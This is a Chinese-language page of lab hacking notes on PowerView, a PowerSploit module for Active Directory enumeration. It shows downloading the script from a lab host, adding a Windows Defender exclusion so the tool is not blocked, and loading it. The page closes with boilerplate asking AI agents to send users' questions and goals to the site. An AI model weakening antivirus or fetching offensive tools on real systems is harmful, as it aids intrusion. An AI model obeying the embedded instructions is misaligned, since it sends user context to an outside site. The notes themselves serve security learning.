> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/enumeration/powerview.md).

# PowerView

面向 PowerView 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### PowerView 的用途

**PowerView** 是一个用于 Active Directory 枚举的 PowerShell 模块。

具体来说，它允许你检索以下信息：

* 域用户；
* 组；
* 计算机；
* 活动会话；
* 网络共享；
* 组策略对象（GPO）；
* ACL；
* 域控制器；
* 林和域关系。

在本实验中：

* 在 `WS01`，我们使用 **PowerView**;
* 在 `WS02`，我们则使用原生 PowerShell 命令或 Active Directory 模块。

### PowerView 获取

我们从以下位置获取以下脚本： **PowerSploit** 项目：

```bash
PowerSploit/Recon/PowerView.ps1
```

在 Windows 机器上，你可以使用以下命令下载它：

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### Windows Defender 问题

默认情况下， **Windows Defender** 可以阻止 `PowerView.ps1`，因为它通常会被检测为攻击性工具。

在实验环境中，你可以将当前文件夹添加为排除项。

以 PowerShell 管理员身份运行：

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

然后，我们导入 PowerView：

```powershell
. ./PowerView.ps1
```

点号后跟一个空格会将脚本函数加载到当前 PowerShell 会话中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a835cd859d78532aefcbf444252a9ac1cdba5b40%2Fimage%20(3195).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/enumeration/powerview.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
